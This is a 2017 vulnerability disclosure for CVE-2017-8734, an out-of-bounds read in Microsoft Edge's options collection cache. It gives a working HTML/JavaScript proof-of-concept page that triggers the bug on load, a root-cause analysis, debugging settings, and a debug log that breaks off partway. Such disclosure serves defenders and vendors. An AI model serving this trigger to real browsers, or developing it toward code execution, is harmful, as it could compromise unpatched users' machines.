Posted on 19 September 2017
Microsoft Edge: out-of-bounds read in COptionsCollectionCacheItem::GetAt CVE-2017-8734 There is an out-of-bounds read issue in Microsoft Edge that could potentially be turned into remote code execution. The vulnerability has been confirmed on Microsoft Edge 38.14393.1066.0 (Microsoft EdgeHTML 14.14393) as well as Microsoft Edge 40.15063.0.0 (Microsoft EdgeHTML 15.15063). PoC: ========================================== <!-- saved from url=(0014)about:internet --> <script> function go() { select1.multiple = false; var optgroup = document.createElement("optgroup"); select1.add(optgroup); var options = select1.options; select2 = document.createElement("select"); textarea.setSelectionRange(0,1000000); select1.length = 2; document.getElementsByTagName('option')[0].appendChild(textarea); select1.multiple = true; textarea.setSelectionRange(0,1000000); document.execCommand("insertOrderedList", false); select2.length = 100; select2.add(optgroup); //alert(options.length); var test = options[4]; //alert(test); } </script> <body onload=go()> <textarea id="textarea"></textarea> <select id="select1" contenteditable="true"></select> ========================================= Preliminary analysis: When opening the PoC in Edge under normal circumstances, the content process will occasionally crash somewhere inside Js::CustomExternalObject::GetItem (see Debug Log 1 below) which corresponds to 'var test = options[4];' line in the PoC. Note that multiple page refreshes are usually needed to get the crash. The real cause of the crash can be seen if Page Heap is applied to the MicrosoftEdgeCP.exe process and MemGC is disabled with OverrideMemoryProtectionSetting=0 registry flag (otherwise Page Heap settings won't apply to the MemGC heap). In that case an out-of-bounds read can be reliably observed in COptionsCollectionCacheItem::GetAt function (see Debug Log 2 below). What happens is that Edge thinks 'options' array contains 102 elements (this can be verified by uncommenting 'alert(options.length);' line in the PoC), however in reality the Options cache buffer is going to be smaller and only contain 2 elements. Thus if an attacker requests an object that is past the end of the cache buffer (note: the offset is chosen by the attacker) an incorrect object may be returned which can potentially be turned into a remote code execution. Note: Debug logs were obtained on an older version of Edge for which symbols were available. However I verified that the bug also affects the latest version. Debug log 1: ========================================= (1790.17bc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. chakra!Js::CrossSite::MarshalVar+0x37: 00007ffa`c8dc23f7 488b4808 mov rcx,qword ptr [rax+8] ds:00000001`afccb7dc=???????????????? 0:010> k # Child-SP
